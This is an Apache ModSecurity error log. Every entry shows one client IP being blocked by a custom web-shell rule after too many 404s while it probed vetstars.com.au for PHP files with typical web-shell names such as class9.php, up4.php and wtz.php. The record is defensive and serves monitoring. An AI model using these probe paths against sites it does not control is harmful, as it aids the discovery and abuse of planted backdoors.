[Fri Feb 27 21:44:51.544551 2026] [:error] [pid 56075:tid 56090] [client 20.104.124.39:32432] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaGf08KBhrfI6KNv9RgDXAAAAAw"]
[Fri Feb 27 21:44:52.201490 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:29983] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaGf1MKBhrfI6KNv9RgDYAAAABM"]
[Fri Feb 27 21:44:52.958281 2026] [:error] [pid 56075:tid 56079] [client 20.104.124.39:32445] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaGf1MKBhrfI6KNv9RgDZwAAAAI"]
[Fri Feb 27 21:44:53.726179 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:29962] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaGf1cKBhrfI6KNv9RgDbAAAAAM"]
[Fri Feb 27 21:44:54.441723 2026] [:error] [pid 52073:tid 52090] [client 20.104.124.39:32330] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaGf1oa650YPyxXVeRaLqwAAAY4"]
[Fri Feb 27 21:44:55.227140 2026] [:error] [pid 56075:tid 56079] [client 20.104.124.39:32238] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaGf18KBhrfI6KNv9RgDdwAAAAI"]
[Fri Feb 27 21:44:56.294810 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32383] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaGf2MKBhrfI6KNv9RgDigAAAAM"]
[Fri Feb 27 21:45:15.915431 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32338] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaGf68KBhrfI6KNv9RgELQAAAAc"]
[Fri Feb 27 21:45:17.122488 2026] [:error] [pid 56075:tid 56079] [client 20.104.124.39:32456] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaGf7cKBhrfI6KNv9RgENgAAAAI"]
[Fri Feb 27 21:45:17.668295 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:32416] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaGf7Ya650YPyxXVeRaMVgAAAYE"]
[Fri Feb 27 21:45:18.206069 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:32436] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaGf7oa650YPyxXVeRaMXgAAAZc"]
[Fri Feb 27 21:45:18.904687 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:29964] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGf7oa650YPyxXVeRaMbAAAAYM"]
[Fri Feb 27 21:45:19.796213 2026] [:error] [pid 52073:tid 52100] [client 20.104.124.39:32381] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGf74a650YPyxXVeRaMfwAAAZg"]
[Fri Feb 27 21:45:20.607568 2026] [:error] [pid 54103:tid 54183] [client 20.104.124.39:32488] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGf8OvG4MPCmE0B2sC4KQAAAMw"]
[Fri Feb 27 21:45:21.666013 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32428] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaGf8cKBhrfI6KNv9RgERgAAAAQ"]
[Fri Feb 27 21:45:22.333984 2026] [:error] [pid 49306:tid 49309] [client 20.104.124.39:32372] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaGf8vnSUDZue59Px9s-jgAAAUE"]
[Fri Feb 27 21:45:23.314138 2026] [:error] [pid 54101:tid 54111] [client 20.104.124.39:29993] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaGf81Y5qgRktcYTGFtQmAAAAcM"]
[Fri Feb 27 21:45:24.440338 2026] [:error] [pid 54101:tid 54124] [client 20.104.124.39:32468] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaGf9FY5qgRktcYTGFtQmgAAAdA"]
[Fri Feb 27 21:45:25.808708 2026] [:error] [pid 54102:tid 54144] [client 20.104.124.39:32403] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaGf9Xi74D4fiYUm_GeBZgAAAIA"]
[Fri Feb 27 21:45:26.803636 2026] [:error] [pid 62998:tid 63007] [client 20.104.124.39:29981] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaGf9lQeueXZDUmoLolnMgAAAQU"]
[Fri Feb 27 21:45:27.761618 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32426] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaGf98KBhrfI6KNv9RgEcQAAABQ"]
[Fri Feb 27 21:45:28.930240 2026] [:error] [pid 56075:tid 56100] [client 20.104.124.39:32351] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaGf-MKBhrfI6KNv9RgEhQAAABY"]
[Fri Feb 27 21:45:31.429078 2026] [:error] [pid 54231:tid 54248] [client 20.104.124.39:32453] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaGf--Tvb5AeyJCdY7AqEQAAAE4"]
[Fri Feb 27 21:45:33.547676 2026] [:error] [pid 54103:tid 54187] [client 20.104.124.39:32346] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaGf_evG4MPCmE0B2sC4MwAAANA"]
[Fri Feb 27 21:45:34.086654 2026] [:error] [pid 54103:tid 54184] [client 20.104.124.39:32420] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaGf_uvG4MPCmE0B2sC4NQAAAM0"]
[Fri Feb 27 21:45:35.024583 2026] [:error] [pid 52073:tid 52091] [client 20.104.124.39:32382] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaGf_4a650YPyxXVeRaM5wAAAY8"]
[Fri Feb 27 21:45:35.941472 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32335] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaGf_8KBhrfI6KNv9RgEzgAAAAc"]
[Fri Feb 27 21:45:36.925995 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:29952] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaGgAMKBhrfI6KNv9RgE2QAAABA"]
[Fri Feb 27 21:45:37.716226 2026] [:error] [pid 56075:tid 56091] [client 20.104.124.39:32503] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaGgAcKBhrfI6KNv9RgE4wAAAA0"]
[Fri Feb 27 21:45:38.382614 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:32421] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaGgAsKBhrfI6KNv9RgE7gAAABc"]
[Fri Feb 27 21:45:38.924833 2026] [:error] [pid 49306:tid 49326] [client 20.104.124.39:32458] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaGgAvnSUDZue59Px9s-twAAAVI"]
[Fri Feb 27 21:45:39.605318 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:32328] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaGgA8KBhrfI6KNv9RgE-QAAAAE"]
[Fri Feb 27 21:45:40.228152 2026] [:error] [pid 54103:tid 54172] [client 20.104.124.39:32336] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaGgBOvG4MPCmE0B2sC4PwAAAME"]
[Fri Feb 27 21:45:40.864826 2026] [:error] [pid 62998:tid 63004] [client 20.104.124.39:29985] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaGgBFQeueXZDUmoLolnRgAAAQI"]
[Fri Feb 27 21:45:41.518017 2026] [:error] [pid 52073:tid 52090] [client 20.104.124.39:32479] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaGgBYa650YPyxXVeRaNCgAAAY4"]
[Fri Feb 27 21:45:42.057902 2026] [:error] [pid 52073:tid 52081] [client 20.104.124.39:32474] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaGgBoa650YPyxXVeRaNDwAAAYU"]
[Fri Feb 27 21:45:42.772574 2026] [:error] [pid 54231:tid 54257] [client 20.104.124.39:30002] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaGgBuTvb5AeyJCdY7AqIQAAAFc"]
[Fri Feb 27 21:45:43.329508 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32502] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaGgB8KBhrfI6KNv9RgFGAAAAAs"]
[Fri Feb 27 21:45:43.880087 2026] [:error] [pid 54231:tid 54249] [client 20.104.124.39:32408] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaGgB-Tvb5AeyJCdY7AqJQAAAE8"]
[Fri Feb 27 21:45:44.639014 2026] [:error] [pid 54231:tid 54241] [client 20.104.124.39:32459] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaGgCOTvb5AeyJCdY7AqKAAAAEc"]
[Fri Feb 27 21:45:45.341722 2026] [:error] [pid 54231:tid 54235] [client 20.104.124.39:32340] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaGgCeTvb5AeyJCdY7AqLAAAAEE"]
[Fri Feb 27 21:45:45.917383 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32475] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaGgCcKBhrfI6KNv9RgFNQAAABQ"]
[Fri Feb 27 21:45:46.525062 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32267] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaGgCsKBhrfI6KNv9RgFPQAAAAs"]
[Fri Feb 27 21:45:46.989065 2026] [:error] [pid 56075:tid 56080] [client 20.104.124.39:32342] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaGgCsKBhrfI6KNv9RgFRAAAAAM"]
[Fri Feb 27 21:45:47.439237 2026] [:error] [pid 52073:tid 52097] [client 20.104.124.39:32332] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaGgC4a650YPyxXVeRaNKQAAAZU"]
[Fri Feb 27 21:45:48.021052 2026] [:error] [pid 52073:tid 52086] [client 20.104.124.39:32344] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaGgDIa650YPyxXVeRaNLgAAAYo"]
[Fri Feb 27 21:45:48.511015 2026] [:error] [pid 52073:tid 52090] [client 20.104.124.39:32425] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaGgDIa650YPyxXVeRaNMwAAAY4"]
[Fri Feb 27 21:45:49.130455 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:32433] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaGgDYa650YPyxXVeRaNPQAAAYE"]
[Fri Feb 27 21:45:50.046783 2026] [:error] [pid 56075:tid 56097] [client 20.104.124.39:32367] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaGgDsKBhrfI6KNv9RgFiAAAABM"]
[Fri Feb 27 21:45:50.758117 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32352] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaGgDsKBhrfI6KNv9RgFlgAAAAs"]
[Fri Feb 27 21:45:51.340855 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:32469] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaGgD8KBhrfI6KNv9RgFoQAAABE"]
[Fri Feb 27 21:45:51.913589 2026] [:error] [pid 49306:tid 49332] [client 20.104.124.39:29971] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaGgD_nSUDZue59Px9s-2AAAAVg"]
[Fri Feb 27 21:45:52.599491 2026] [:error] [pid 52073:tid 52098] [client 20.104.124.39:32497] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaGgEIa650YPyxXVeRaNVgAAAZY"]
[Fri Feb 27 21:45:53.076727 2026] [:error] [pid 62998:tid 63019] [client 20.104.124.39:32345] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaGgEVQeueXZDUmoLolnXwAAARE"]
[Fri Feb 27 21:45:53.705540 2026] [:error] [pid 54231:tid 54241] [client 20.104.124.39:32333] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaGgEeTvb5AeyJCdY7AqOgAAAEc"]
[Fri Feb 27 21:45:54.579577 2026] [:error] [pid 52073:tid 52092] [client 20.104.124.39:30003] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaGgEoa650YPyxXVeRaNYAAAAZA"]
[Fri Feb 27 21:45:55.240450 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:29986] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaGgE8KBhrfI6KNv9RgFwAAAAAE"]
